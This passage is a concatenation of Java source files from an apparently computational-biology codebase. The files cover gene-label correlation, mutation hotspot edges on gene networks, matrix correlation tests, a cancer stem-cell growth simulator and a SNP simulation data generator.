itrForNullDist = i; } public void setCorFuncForTwoGroups(){ corFunc = new CorFuncForTwoGroups(); } public void setCorFuncForMultipleGroups(){ corFunc = new CorFuncForMultipleGroups(); } public void setCorFuncForContinuousLabel(){ Exp.normalizeRows(); corFunc = new CorFuncForContinuousLabel(); } public void setSampleLabel(Map <String, String> sampleLabel){ List <String> sample = Exp.getColNames(); for(String s: sample){ if(sampleLabel.containsKey(s) && !sampleLabel.get(s).equals("")){ this.sampleLabel.put(s, sampleLabel.get(s)); } } if(this.sampleLabel.isEmpty()){ throw new MyException("SampleLabel is empty!"); } Set <String> tmp = new HashSet<String> (this.sampleLabel.values()); if(MyFunc.canBeDouble(tmp)){ setCorFuncForContinuousLabel(); return; } if(tmp.size() == 2 ){ setCorFuncForTwoGroups(); }else{ setCorFuncForMultipleGroups(); } } public void calculateCorScore(){ if(sampleLabel.isEmpty()){ throw new MyException("SampleLabel is empty!"); } int i; for(i = 0; i < genes.size(); i++){ corScore.put(genes.get(i), corFunc.get(genes.get(i))); } } private List <Double> getNullDist(){ List <Double> v = new ArrayList<Double>(); int i,j; for(j=0; j < itrForNullDist; j++){ Exp.shuffleCols(); for(i = 0; i < genes.size(); i++){ v.add(Math.abs(corFunc.get(genes.get(i)))); } } return v; } public void calculatePvalue(){ List <Double> nullDist = getNullDist(); Collections.sort(nullDist); Collections.reverse(nullDist); double i; for( Map.Entry<String, Double> e: corScore.entrySet()){ for(i=0;i<nullDist.size() && nullDist.get((int)i) > Math.abs(e.getValue());i++){} if(i==0){ i=1; } double P = i / nullDist.size(); Pvalue.put(e.getKey(), P); } } public void calculatePvalueWithPDB(){ List <Double> nullDist = getNullDist(); PvalueCalculatorWithGPD P = new PvalueCalculatorWithGPD(nullDist); for( Map.Entry<String, Double> e: corScore.entrySet()){ Pvalue.put(e.getKey(), P.getPvalue(e.getValue())); } } public void calculateQvalue(){ Qvalue = MyFunc.calculateStoreyQvalue(Pvalue); //Qvalue = MyFunc.calculateQvalue(Pvalue); } public Map <String, Double> getPvalue(){ return Pvalue; } public Map <String, Double> getQvalue(){ return Qvalue; } public Map<String, Double> getCorScore(){ return corScore; } public String toString(){ StringBuffer S = new StringBuffer("\tCor score\tP value\tQ value\n"); List<String> keys = MyFunc.sortKeysByDescendingOrderOfValues(corScore); for(String s: keys){ double p = minusLogScale?-Math.log10(Pvalue.get(s)):Pvalue.get(s); if(Double.isInfinite(p)){ p = Double.MAX_VALUE; } if(PvalueCutoff != null && (minusLogScale?(p < PvalueCutoff):(p > PvalueCutoff))){ continue; } double q = minusLogScale?-Math.log10(Qvalue.get(s)):Qvalue.get(s); if(Double.isInfinite(q)){ q = Double.MAX_VALUE; } if(QvalueCutoff != null && (minusLogScale?(q < QvalueCutoff):(q > QvalueCutoff))){ continue; } List <String> tmp = new ArrayList<String>(); tmp.add(s); tmp.add(Double.toString(corScore.get(s))); tmp.add(Double.toString(p)); tmp.add(Double.toString(q)); S.append(MyFunc.join("\t", tmp) + "\n"); } return S.toString(); } public static void main(String[] args) throws Exception { Options options = new Options(); options.addOption("l", "minuslog", false, "output in minus log scale"); options.addOption("p", "pcutoff", true, "overlap p-value cutoff"); options.addOption("q", "pcutoff", true, "overlap q-value cutoff"); options.addOption("r", "regress", false, "use regression for p-value calculation"); options.addOption("i", "itrnull", true, "# of iteration for null dist genetation"); HelpFormatter formatter = new HelpFormatter(); CommandLineParser parser = new BasicParser(); CommandLine commandLine; try{ commandLine = parser.parse(options, args); }catch (Exception e) { formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] exp_file sample_label_file", options); return ; } List <String> argList = commandLine.getArgList(); if(argList.size() != 2){ formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] exp_file sample_lable_file", options); return; } SampleLableCorrelation SLC = new SampleLableCorrelation(new MyMat(argList.get(0))); SLC.setSampleLabel(MyFunc.readStringStringMap(argList.get(1))); if(commandLine.hasOption("l")){ SLC.outputInMinusLogScale(); } if(commandLine.hasOption("p")){ SLC.setPvalueCutoff(Double.valueOf(commandLine.getOptionValue("p"))); } if(commandLine.hasOption("q")){ SLC.setQvalueCutoff(Double.valueOf(commandLine.getOptionValue("q"))); } if(commandLine.hasOption("i")){ SLC.setItrForNullDist(Integer.valueOf(commandLine.getOptionValue("i"))); } SLC.calculateCorScore(); if(commandLine.hasOption("r")){ SLC.calculatePvalueWithPDB(); }else{ SLC.calculatePvalue(); } SLC.calculateQvalue(); System.out.print(SLC); } } <file_sep>/src/mutation/HotEdgeTest.java package mutation; import java.io.IOException; import java.util.*; import java.util.zip.DataFormatException; import network.Link; import network.NullLinkGenerator; import org.apache.commons.cli.BasicParser; import org.apache.commons.cli.CommandLine; import org.apache.commons.cli.CommandLineParser; import org.apache.commons.cli.HelpFormatter; import org.apache.commons.cli.Options; import org.apache.commons.math3.distribution.BinomialDistribution; import sun.reflect.Reflection; import utility.MyFunc; public class HotEdgeTest { private Link link; private List <String> genes; private List <String> allGenes; private Map <String,Integer> mutationCount; private Map <String,Integer> mutationSumInNeighbor; private Map <String,Integer> neighborCount; private Map <String, List<String>> hotNeighbor; private Map <String,Double> pvalue; private Map <String,Double> pvalue2; private int totalMutationCount; private double pcutoff = 5; private double pmax = 20; private int itrq = 0; private Map <String,Double> qvalue; public HotEdgeTest() {} public void setLink(Link link){ this.link = link; allGenes = link.getNodeName(); } public void setLink(String infile) throws IOException, DataFormatException{ link = new Link(infile); allGenes = link.getNodeName(); } public void setPcutoff(double d){ pcutoff = d; } public void setItrQ(int d){ itrq = d; } public void applyCeiling2MutationCount(int i){ for(String s: mutationCount.keySet()){ if(mutationCount.get(s) > i){ mutationCount.put(s,i); } } setTotalMutationCount(); } public void cutSmallMutationCount(int i){ Set <String> tmp = new HashSet<String>(mutationCount.keySet()); for(String s: tmp){ if(mutationCount.get(s) < i){ mutationCount.remove(s); } } setTotalMutationCount(); genes = new ArrayList<String>(mutationCount.keySet()); } private void setTotalMutationCount(){ totalMutationCount = 0; for(String k: mutationCount.keySet()){ totalMutationCount += Integer.valueOf(mutationCount.get(k)); } } public void setMutationCount(String infile) throws IOException, DataFormatException{ mutationCount = new HashMap<String, Integer>(); Map<String, String> tmp = MyFunc.readStringStringMap(infile); for(String k: tmp.keySet()){ if(link.containsNode(k)){ mutationCount.put(k, Integer.valueOf(tmp.get(k))); } } setTotalMutationCount(); genes = new ArrayList<String>(mutationCount.keySet()); } public void setMutationCount(Map<String, Integer> count){ mutationCount = new HashMap<String, Integer>(); for(String k: count.keySet()){ if(link.containsNode(k)){ mutationCount.put(k, count.get(k)); } } setTotalMutationCount(); genes = new ArrayList<String>(mutationCount.keySet()); } private void getMutationSumInNeighbor(){ mutationSumInNeighbor = new HashMap<String, Integer>(); neighborCount = new HashMap<String, Integer>(); hotNeighbor = new HashMap<String, List<String>>(); for(String gene: genes){ List <String> neighbors = link.getNeighbors(gene); List <String> hot = new ArrayList<String>(); int i = 0; int j = 0; for(String neighbor: neighbors){ if(mutationCount.containsKey(neighbor)){ hot.add(neighbor); i += mutationCount.get(neighbor); j++; } } hotNeighbor.put(gene, hot); mutationSumInNeighbor.put(gene, i); neighborCount.put(gene,j); } } private double calculatePvalue(String gene, String neighbor){ int n = totalMutationCount; int k = mutationCount.get(neighbor); double pvalue = 1; if(n>0 & k > 0){ double p = 1.0/allGenes.size(); BinomialDistribution BN = new BinomialDistribution(n, p); try { pvalue = 1- BN.cumulativeProbability(k); }catch (Exception e){ e.printStackTrace(); } } pvalue *= neighborCount.get(gene); pvalue = -Math.log10(pvalue); if(pvalue > pmax){ pvalue = pmax; } return pvalue; } public void printResult(){ if(qvalue==null){ for(String s: MyFunc.sortKeysByDescendingOrderOfValues(pvalue)){ if(pvalue.get(s) >= pcutoff){ List <String> tmp = MyFunc.split(":", s); System.out.println(tmp.get(0) + "[" + mutationCount.get(tmp.get(0)) + "]" + "\t" + tmp.get(1) + "[" + mutationCount.get(tmp.get(1)) + "]" + "\t" + pvalue.get(s) + "\t" + pvalue2.get(s)); } } }else{ for(String s: MyFunc.sortKeysByDescendingOrderOfValues(pvalue)){ if(pvalue.get(s) >= pcutoff){ List <String> tmp = MyFunc.split(":", s); System.out.println(tmp.get(0) + "[" + mutationCount.get(tmp.get(0)) + "]" + "\t" + tmp.get(1) + "[" + mutationCount.get(tmp.get(1)) + "]" + "\t" + pvalue.get(s) + "\t" + pvalue2.get(s) + "\t" + qvalue.get(s)); } } } } public void printResultSimple(){ if(qvalue==null){ for(String s: MyFunc.sortKeysByDescendingOrderOfValues(pvalue)){ if(pvalue.get(s) >= pcutoff){ List <String> tmp = MyFunc.split(":", s); System.out.println(tmp.get(0) + "\t" + tmp.get(1) + "\t" + pvalue.get(s)); } } }else{ for(String s: MyFunc.sortKeysByDescendingOrderOfValues(pvalue)){ if(pvalue.get(s) >= pcutoff){ List <String> tmp = MyFunc.split(":", s); System.out.println(tmp.get(0) + "\t" + tmp.get(1) + "\t" + pvalue.get(s) + "\t" + qvalue.get(s)); } } } } public void calculatePvalues(){ pvalue = new HashMap<String, Double>(); pvalue2 = new HashMap<String, Double>(); for(String g1: genes){ for(String g2: genes){ if(g1.compareTo(g2) > 0){ if(!link.get(g1, g2)){ continue; } double p1 = calculatePvalue(g1,g2); if(p1<pcutoff){ continue; } double p2 = calculatePvalue(g2,g1); if(p2<pcutoff){ continue; } if(p1 >= p2){ pvalue.put(g1+":"+g2, p2); pvalue2.put(g1+":"+g2, p1); }else{ pvalue.put(g2+":"+g1, p1); pvalue2.put(g2+":"+g1, p2); } } } } } public class geneComp implements Comparator<String> { public int compare(String g1, String g2) { if(mutationCount.get(g1) < mutationCount.get(g2)){ return 1; }else if (mutationCount.get(g1) > mutationCount.get(g2)){ return -1; }else{ return 0; } } } public void perform(){ getMutationSumInNeighbor(); calculatePvalues(); if(itrq > 0){ calculateQvalues(); } } private List <Double> getNullPvalues(){ List <Double> nullp = new ArrayList<Double>(); NullLinkGenerator NLG = new NullLinkGenerator(link); for(int i = 0; i < itrq; i++){ System.err.println((i+1) + "-th iteration....."); Link nullLink = NLG.getRondomNetwork(); HotEdgeTest HEA = new HotEdgeTest(); HEA.setLink(nullLink); HEA.setMutationCount(mutationCount); HEA.getMutationSumInNeighbor(); HEA.calculatePvalues(); nullp.addAll(HEA.pvalue.values()); } return nullp; } private void calculateQvalues(){ qvalue = new HashMap <String, Double>(); List <Double> tmp = getNullPvalues(); for(String s: pvalue.keySet()){ double p = pvalue.get(s); double q = 0; for(double d: tmp){ if(d > p){ q++; } } q /= tmp.size(); qvalue.put(s,q); } } public static void main(String [] args) throws Exception{ Options options = new Options(); options.addOption("p", "pcut", true, "pvalue cutoff"); options.addOption("s", "simple", false, "print simple result"); options.addOption("i", "itr", true, "iteration number for qvalue caluculation"); options.addOption("c", "ceiling", true, "mutation count ceiling"); options.addOption("C", "cut", true, "mutation count cutoff "); HelpFormatter formatter = new HelpFormatter(); CommandLineParser parser = new BasicParser(); CommandLine commandLine; try{ commandLine = parser.parse(options, args); }catch (Exception e) { formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] geneCountFile linkFile", options); return ; } List <String> argList = commandLine.getArgList(); if(argList.size() != 2){ formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] geneCountFile linkFile", options); return; } HotEdgeTest H = new HotEdgeTest(); H.setLink(argList.get(1)); H.setMutationCount(argList.get(0)); if(commandLine.hasOption("p")){ H.setPcutoff(Integer.valueOf(commandLine.getOptionValue("p"))); } if(commandLine.hasOption("i")){ H.setItrQ(Integer.valueOf(commandLine.getOptionValue("i"))); } if(commandLine.hasOption("c")){ H.applyCeiling2MutationCount(Integer.valueOf(commandLine.getOptionValue("c"))); } if(commandLine.hasOption("C")){ H.cutSmallMutationCount(Integer.valueOf(commandLine.getOptionValue("C"))); } H.perform(); if(commandLine.hasOption("s")){ H.printResultSimple(); }else{ H.printResult(); } } } <file_sep>/src/utility/MatrixCorrelation2.java package utility; import java.util.*; import org.apache.commons.cli.*; import org.apache.commons.math.distribution.*; import org.apache.commons.math.stat.inference.*; import sun.reflect.Reflection; public class MatrixCorrelation2{ MyMat M1; MyMat M2; MyMat P; MyMat C; int minListSize = 6; double pcutoff = 10; double qcutoff = 10; boolean onlyMatchId = false; boolean rawStatistics = false; public MatrixCorrelation2(MyMat m1, MyMat m2) throws Exception{ if(MyFunc.isect(m1.getColNames(), m2.getColNames()).size() >= minListSize){ M1 = m1; M2 = m2; }else if(MyFunc.isect(m1.getRowNames(), m2.getColNames()).size() >= minListSize){ M1 = m1; M2 = m2; M1.transpose(); }else if(MyFunc.isect(m1.getColNames(), m2.getRowNames()).size() >= minListSize){ M1 = m1; M2 = m2; M2.transpose(); }else if(MyFunc.isect(m1.getRowNames(), m2.getRowNames()).size() >= minListSize){ M1 = m1; M2 = m2; M1.transpose(); M2.transpose(); }else{ throw new Exception("ERR: no row and column ids"); } List <String> tmp = MyFunc.isect(M1.getColNames(), M2.getColNames()); M1 = M1.getSubMatByCol(tmp); M2 = M2.getSubMatByCol(tmp); P = new MyMat(M1.getRowNames(), M2.getRowNames()); C = new MyMat(M1.getRowNames(), M2.getRowNames()); } public void calculatePvalue(){ for(String s: M1.getRowNames()){ for(String t: M2.getRowNames()){ P.set(s, t, 1); } } for(String s: M1.getRowNames()){ L:for(String t: M2.getRowNames()){ if(onlyMatchId & !s.equals(t)){ continue L; } List <Double> L1 = M1.getRow(s); List <Double> L2 = M2.getRow(t); rmNan(L1, L2); int n1 = (new HashSet<Double>(L1)).size(); int n2 = (new HashSet<Double>(L2)).size(); double p = 1; if(n1 > 1 & n2 >1 & L1.size() > minListSize){ try{ if(n1==2 && n2==2){ p = fisherExactTest(L1, L2); }else if(n1==2){ p = tTest(L2, L1); }else if(n2==2){ p = tTest(L1, L2); }else { p = pearsonCorTest(L1, L2); } if(Double.isNaN(p)){ System.err.println("WARN: unable to calculate a p value for " + s + " and " +t + " (NaN)"); } }catch(Exception e){ System.err.println("WARN: unable to calculate a p value for " + s + " and " +t); } } P.set(s, t, p); C.set(s, t, MyFunc.pearsonCorrelation(L1, L2)>0?1:-1); } } } private void rmNan (List <Double> L1, List <Double> L2){ List <Double> l1 = new ArrayList<Double>(L1); List <Double> l2 = new ArrayList<Double>(L2); L1.clear(); L2.clear(); for(int i = 0; i < l1.size(); i++){ if(!( Double.isNaN(l1.get(i)) || Double.isNaN(l2.get(i)))){ L1.add(l1.get(i)); L2.add(l2.get(i)); } } } private double tTest (List <Double> continousL, List <Double> binaryL) throws Exception{ List<Double> tmp = new ArrayList<Double>(new TreeSet<Double>(binaryL)); List<Double> V = new ArrayList<Double>(); List<Double> U = new ArrayList<Double>(); for(int i = 0; i < continousL.size(); i++){ if(eq(binaryL.get(i),tmp.get(0))){ V.add(continousL.get(i)); }else{ U.add(continousL.get(i)); } } if(V.size()<=2 || U.size()<=2){ throw new Exception(); } double [] v = new double [V.size()]; double [] u = new double [U.size()]; for(int i = 0; i < v.length; i++){ v[i] = V.get(i); } for(int i = 0; i < u.length; i++){ u[i] = U.get(i); } TTestImpl TT = new TTestImpl(); return rawStatistics?Math.abs(TT.homoscedasticT(v,u)):TT.homoscedasticTTest(v,u); } private boolean eq(double a, double b){ return Math.abs(a-b)<0.0000000001; } private double pearsonCorTest(List<Double> L1, List<Double> L2) throws Exception{ double r = MyFunc.pearsonCorrelation(L1, L2); int n = L1.size(); if(eq(r,1)){ return 0; } double t0 = Math.abs(r)*Math.sqrt(n-2)/Math.sqrt(1-Math.pow(r,2)); if(rawStatistics){ return Math.abs(t0); }else{ TDistributionImpl T = new TDistributionImpl(n-2); return 2*(1-T.cumulativeProbability(t0)); } } private double fisherExactTest(List<Double> L1, List<Double> L2) throws Exception{ List<Double> tmp = new ArrayList<Double>(new TreeSet<Double>(L1)); List<Double> tmp2 = new ArrayList<Double>(new TreeSet<Double>(L2)); int a=0, b=0, c=0, d=0; for(int i = 0; i < L1.size(); i++){ if(eq(L1.get(i), tmp.get(0)) & eq(L2.get(i), tmp2.get(0))){ a++; }else if(eq(L1.get(i),tmp.get(0)) & eq(L2.get(i),tmp2.get(1))){ b++; }else if(eq(L1.get(i), tmp.get(1)) & eq(L2.get(i), tmp2.get(0))){ c++; }else if(eq(L1.get(i), tmp.get(1)) & eq(L2.get(i), tmp2.get(1))){ d++; } } return MyFunc.calculateFisheExactPvalue(a, b, c, d); } private void printResults(){ Map <String, Double> Pmap = new HashMap<String, Double>(); Map <String, Double> Cmap = new HashMap<String, Double>(); for(String s: M1.getRowNames()){ for(String t: M2.getRowNames()){ if(onlyMatchId){ if(!s.equals(t)){ continue; }else{ Pmap.put(s, P.get(s,t)); Cmap.put(s, C.get(s,t)); } }else{ Pmap.put(s + "\t" + t, P.get(s,t)); Cmap.put(s + "\t" + t, C.get(s,t)); } } } List <String> tmp = MyFunc.sortKeysByAscendingOrderOfValues(Pmap); if(tmp.size() <= 10){ for(String s: tmp){ System.out.println(s + "\t" + Cmap.get(s) + "\t" + Pmap.get(s)); } }else{ Map <String, Double> Qmap = MyFunc.calculateQvalue(Pmap); for(String s: tmp){ if(Qmap.get(s) <= qcutoff & Pmap.get(s) <= pcutoff ){ System.out.println(s + "\t" + Cmap.get(s)+ "\t" + Pmap.get(s) + "\t" + Qmap.get(s)); } } } } public MyMat getMinusLogPMatrix(){ MyMat minusLogP = new MyMat(M1.getRowNames(), M2.getRowNames()); if(rawStatistics){ for(String s: M1.getRowNames()){ for(String t: M2.getRowNames()){ minusLogP.set(s, t, C.get(s,t)*P.get(s,t)); } } }else{ for(String s: M1.getRowNames()){ for(String t: M2.getRowNames()){ double p; if(P.get(s,t)==0){ p = Double.MAX_VALUE; }else if(P.get(s,t)==1){ p = 0; }else{ p = -Math.log10(P.get(s,t)); } minusLogP.set(s, t, p); } } double max = 20; for(String s: M1.getRowNames()){ for(String t: M2.getRowNames()){ minusLogP.set(s, t, C.get(s,t)*((minusLogP.get(s,t) > max)?max:minusLogP.get(s,t))); } } } return minusLogP; } private void printMinusLogPMatrix(){ System.out.print(getMinusLogPMatrix()); } public static void main(String[] args) throws Exception { Options options = new Options(); options.addOption("m", "pmat", false, "get minus log p-value matrix"); options.addOption("p", "pcutoff", true, "cutoff for p-value"); options.addOption("q", "pcutoff", true, "cutoff for q-value"); options.addOption("C", "column", false, "get cor between columns (when the input is one matrix)"); options.addOption("M", "match", false, "get cor only for matched IDs"); options.addOption("s", "stat", false, "get raw statistics matrix"); HelpFormatter formatter = new HelpFormatter(); CommandLineParser parser = new BasicParser(); CommandLine commandLine; try{ commandLine = parser.parse(options, args); }catch (Exception e) { formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] tabFle (tabFile)", options); return ; } List <String> argList = commandLine.getArgList(); if(argList.size() != 2 && argList.size() != 1){ formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] tabFile (tabFile)", options); return; } MatrixCorrelation2 MC; if(argList.size() == 2){ MC = new MatrixCorrelation2(new MyMat(argList.get(0)), new MyMat(argList.get(1))); }else{ MyMat M = new MyMat(argList.get(0)); if(commandLine.hasOption("C")){ M.transpose(); } MC = new MatrixCorrelation2(M, M); } if(commandLine.hasOption("M")){ MC.onlyMatchId = true; } if(commandLine.hasOption("s")){ MC.rawStatistics = true; } if(commandLine.hasOption("p")){ MC.pcutoff = Double.valueOf(commandLine.getOptionValue("p")); } if(commandLine.hasOption("q")){ MC.qcutoff = Double.valueOf(commandLine.getOptionValue("q")); } MC.calculatePvalue(); if(commandLine.hasOption("m") || commandLine.hasOption("s")){ MC.printMinusLogPMatrix(); }else{ MC.printResults(); } } } <file_sep>/src/sim/SimulatorWithStemCellAndGateWayDriver.java package sim; import java.io.FileWriter; import java.io.PrintWriter; import java.util.ArrayList; import java.util.HashMap; import java.util.LinkedHashMap; import java.util.List; import org.apache.commons.cli.BasicParser; import org.apache.commons.cli.CommandLine; import org.apache.commons.cli.CommandLineParser; import org.apache.commons.cli.HelpFormatter; import org.apache.commons.cli.Options; import sun.reflect.Reflection; import utility.MyFunc; public class SimulatorWithStemCellAndGateWayDriver extends SimulatorWithStemCell{ public SimulatorWithStemCellAndGateWayDriver (){} List <Cell> population; public SimulatorWithStemCellAndGateWayDriver (SimulatorWithStemCellAndGateWayDriver S){ mutaionRate = S.mutaionRate; growthRate = S.growthRate; deathRate = S.deathRate; initialPopulationSize = S.initialPopulationSize; maxTime = S.maxTime; maxPopulationSize = S.maxPopulationSize; genomeSize = S.genomeSize; driverSize = S.driverSize; fitnessIncrease = S.fitnessIncrease; subpopulationProportionCutoff = S.subpopulationProportionCutoff; deathRateForNonStem = S.deathRateForNonStem; symmetricReplicationProbablity = S.symmetricReplicationProbablity; } public class Cell { Genome genome; double fitness; boolean isStem; Cell(){ genome = new Genome(); fitness = 1; isStem = true; } Cell(Cell C){ fitness = C.fitness; isStem = C.isStem; genome = new Genome(C.genome); } void mutateGenome(){ genome.mutate(); setPenotype(); } void setPenotype(){ fitness = 1; boolean gateway = false; if(genome.isMutated(0)){ gateway = true; } for(int i=0; i< driverSize; i++){ if(genome.isMutated(i)){ fitness *= fitnessIncrease; } } if(!gateway & fitness > 1){ fitness = -1; } } String getGenomeString(){ return genome.mutatedGenes.toString(); } } void initialize(){ population = new ArrayList<Cell>(); for(int i = 0; i < initialPopulationSize; i++){ population.add(new Cell()); } } void growPopulation(){ int n = population.size(); for(int i = 0; i < n & i < population.size(); i++){ Cell C = population.get(i); if(R.nextDouble() < C.fitness*growthRate){ C.mutateGenome(); Cell newC = new Cell(C); if(C.isStem & R.nextDouble() > symmetricReplicationProbablity){ newC.isStem = false; } population.add(newC); } if((C.isStem & R.nextDouble() < deathRate) | (!C.isStem & R.nextDouble() < deathRateForNonStem) | C.fitness < 0){ population.remove(C); i--; } } } public void simulate(){ initialize(); for(time = 1; time <= maxTime; time++){ growPopulation(); //System.err.println(population.size()); if(population.size() > maxPopulationSize){ break; } } } public void simulateWhilePrintingStatistics(int n){ initialize(); System.out.println(header); for(time = 1; time <= maxTime; time++){ growPopulation(); if(Math.abs(((double)time)/n - Math.round(time/n)) < 0.0000000000001){ getStatistics(); System.out.println(this); } if(population.size() > maxPopulationSize){ break; } } getStatistics(); System.out.println(this); } void getStatistics(){ populationSize = population.size(); getSubpopulationProportion(); getMajorSubpopulationProportion(); getPopulationEntropy(); getMutatedGeneCount(); getMutatedDriverGeneCountAndAverageFitness(); } void getSubpopulationProportion(){ subpopulationProportion = new HashMap<String, Double>(); for(Cell C:population){ String k = C.getGenomeString(); if(subpopulationProportion.containsKey(k)){ subpopulationProportion.put(k, subpopulationProportion.get(k)+1.0); }else{ subpopulationProportion.put(k, 1.0); } } for(String k: subpopulationProportion.keySet()){ subpopulationProportion.put(k, subpopulationProportion.get(k)/populationSize); } } void getMajorSubpopulationProportion(){ majorSubpopulationProportion = new LinkedHashMap<String, Double>(); for(String k: MyFunc.sortKeysByDescendingOrderOfValues(subpopulationProportion)){ if(subpopulationProportion.get(k) > subpopulationProportionCutoff){ majorSubpopulationProportion.put(k, subpopulationProportion.get(k)); }else{ break; } } } public static void main(String [] args) throws Exception{ Options options = new Options(); HelpFormatter formatter = new HelpFormatter(); CommandLineParser parser = new BasicParser(); CommandLine commandLine; SimulatorWithStemCellAndGateWayDriver S = new SimulatorWithStemCellAndGateWayDriver(); options.addOption("m", "mut", true, "mutaionRate (" + S.mutaionRate + ")" ); options.addOption("g", "grow", true, "growthRate (" + S.growthRate + ")"); options.addOption("D", "death", true, "deathRate (" + S.deathRate + ")"); options.addOption("N", "deathns", true, "deathRate for non stem cell (" + S.deathRateForNonStem + ")"); options.addOption("P", "maxpop", true, "maxPopulationSize (" + S.maxPopulationSize + ")"); options.addOption("G", "gen", true, "genomeSize (" + S.genomeSize + ")"); options.addOption("d", "drv", true, "driverSize (" + S.driverSize + ")"); options.addOption("f", "fit", true, "fitnessIncrease (" + S.fitnessIncrease + ")"); options.addOption("p", "inipop", true, "initialPopulationSize (" + S.initialPopulationSize + ")"); options.addOption("T", "maxtime", true, "maxTime (" + S.maxTime + ")"); options.addOption("M", "mutp", true, "get mutation profile"); options.addOption("s", "stat", true, "simulate while printing statistics"); options.addOption("S", "sym", true, "symmetric replication probablity (" + S.symmetricReplicationProbablity + ")"); options.addOption("e", "eigen", true, "print eigen values"); try{ commandLine = parser.parse(options, args); }catch (Exception e) { formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] ", options); return ; } List <String> argList = commandLine.getArgList(); if(argList.size() != 0){ formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] ", options); return; } if(commandLine.hasOption("m")){ S.mutaionRate = Double.valueOf(commandLine.getOptionValue("m")); } if(commandLine.hasOption("g")){ S.growthRate = Double.valueOf(commandLine.getOptionValue("g")); } if(commandLine.hasOption("D")){ S.deathRate = Double.valueOf(commandLine.getOptionValue("D")); } if(commandLine.hasOption("N")){ S.deathRateForNonStem = Double.valueOf(commandLine.getOptionValue("N")); } if(commandLine.hasOption("p")){ S.initialPopulationSize = Integer.valueOf(commandLine.getOptionValue("p")); } if(commandLine.hasOption("P")){ S.maxPopulationSize = Integer.valueOf(commandLine.getOptionValue("P")); } if(commandLine.hasOption("G")){ S.genomeSize = Integer.valueOf(commandLine.getOptionValue("G")); } if(commandLine.hasOption("d")){ S.driverSize = Integer.valueOf(commandLine.getOptionValue("d")); } if(commandLine.hasOption("f")){ S.fitnessIncrease = Double.valueOf(commandLine.getOptionValue("f")); } if(commandLine.hasOption("T")){ S.maxTime = Integer.valueOf(commandLine.getOptionValue("T")); } if(commandLine.hasOption("S")){ S.symmetricReplicationProbablity = Double.valueOf(commandLine.getOptionValue("S")); } if(commandLine.hasOption("s")){ S.simulateWhilePrintingStatistics(Integer.valueOf(commandLine.getOptionValue("s"))); }else{ S.simulate(); S.getStatistics(); System.out.println(S.header); System.out.println(S); } if(commandLine.hasOption("e")){ PrintWriter os = new PrintWriter(new FileWriter(commandLine.getOptionValue("e"))); os.println(MyFunc.join("\t", S.eigenValue)); os.flush(); os.close(); } if(commandLine.hasOption("M")){ PrintWriter os = new PrintWriter(new FileWriter(commandLine.getOptionValue("M"))); os.println(S.getMutaionProfileMatrix()); os.flush(); os.close(); } } } <file_sep>/bin/snp/.svn/text-base/SimulationDataGenerator.java.svn-base package snp; import java.util.*; import org.apache.commons.cli.BasicParser; import org.apache.commons.cli.CommandLine; import org.apache.commons.cli.CommandLineParser; import org.apache.commons.cli.HelpFormatter; import org.apache.commons.cli.Options; import org.apache.commons.math.distribution.PoissonDistributionImpl; import sun.reflect.Reflection; import utility.MyFunc; import utility.MyMat; public class SimulationDataGenerator { protected int sampleNumber = 100; protected int probeNumber = 1000; protected List <Integer> concordantProbe; protected MyMat D; protected SegmentContainerMap SCM; protected double concordantSampleRatio = 0.3; protected int concordantSegmentLength = 5; protected int nonconcordantSegmentLengthMean = 5; protected int nonconcordantSegmentNumberMean = 30; public void setConcordantProbe(String s){ concordantProbe = new ArrayList<Integer>(); for(String s2: MyFunc.split(",",s)){ concordantProbe.add(Integer.valueOf(s2)); } } public void setSampleNumber(int i){ sampleNumber = i; } public void setProbeNumber(int i){ probeNumber = i; } public void setNonconcordantSegmentLengthMean(double d){ if(d < 1){ nonconcordantSegmentLengthMean = (int)(d*probeNumber); }else{ nonconcordantSegmentLengthMean = (int)d; } } public void setConcordantSampleRatio(double i){ concordantSampleRatio = i; } public void setConcordantSegmentLength(int i){ concordantSegmentLength = i; } public void setNonconcordantSegmentNumberMean(int i){ nonconcordantSegmentNumberMean = i; } protected static int getPoisson(double lambda) { double L = Math.exp(-lambda); double p = 1.0; int k = 0; do { k++; p *= Math.random(); } while (p > L); return k - 1; } protected static int getGeometric(double p){ double u = Math.random(); return (int)Math.floor(Math.log(1-u)/Math.log(1-p)); } public SimulationDataGenerator(){ concordantProbe = new ArrayList<Integer>(); concordantProbe.add(200); concordantProbe.add(400); concordantProbe.add(600); concordantProbe.add(800); //concordantProbe.add(250); //concordantProbe.add(500); //concordantProbe.add(750); } protected void calculateMatrix(){ D = new MyMat(probeNumber, sampleNumber); for(int j = 0; j < sampleNumber; j++){ for(int center: concordantProbe){ center -= 1; if(Math.random() < concordantSampleRatio){ int l = concordantSegmentLength; if(l>probeNumber){ l=probeNumber; } if(l/2 == l/2.0){ l += 1; } int h = (l - 1)/2; int start = center - h; int end = center + h; if(start < 0){ start = 0; } if(end >= probeNumber){ end = probeNumber-1; } for(int i = start; i <=end; i++){ D.set(i,j,1); } } } int NonConcordantSegmentNumber = getPoisson(nonconcordantSegmentNumberMean); int k = 0; L:while(k < NonConcordantSegmentNumber){ int l = getGeometric(1.0/nonconcordantSegmentLengthMean); if(l>probeNumber){ l=probeNumber; } if(l/2 != l/2.0){ l += 1; } int h = (l - 1)/2; int center = (int)(Math.random()*probeNumber); int start = center - h; int end = center + h; if(start < 0){ start = 0; } if(end >= probeNumber){ end = probeNumber-1; } //for(int i = start; i <= end; i++){ //if( D.get(i, j) == 1){ //continue L; //} //} for(int i = start; i <=end; i++){ D.set(i,j,1); } k++; } } } protected void calculateSegmentContainerMap(){ SCM = calculateSegmentContainerMap(D); } protected static SegmentContainerMap calculateSegmentContainerMap(MyMat D){ SegmentContainerMap SCM = new SegmentContainerMap(); for(int j = 0; j < D.colSize(); j++){ double preValue = D.get(0,j); int start = 0; int end = 0; SegmentContainer SC = new SegmentContainer(); for(int i = 0; i < D.rowSize(); i++){ if(preValue != D.get(i,j)){ end=i-1; SC.add(new Segment(1,start+1,end+1,end-start+1,preValue)); preValue=D.get(i,j); start=i; } } end=D.rowSize()-1; SC.add(new Segment(1,start+1,end+1,end-start+1,preValue)); SCM.put("sample" + (j+1), SC); } return 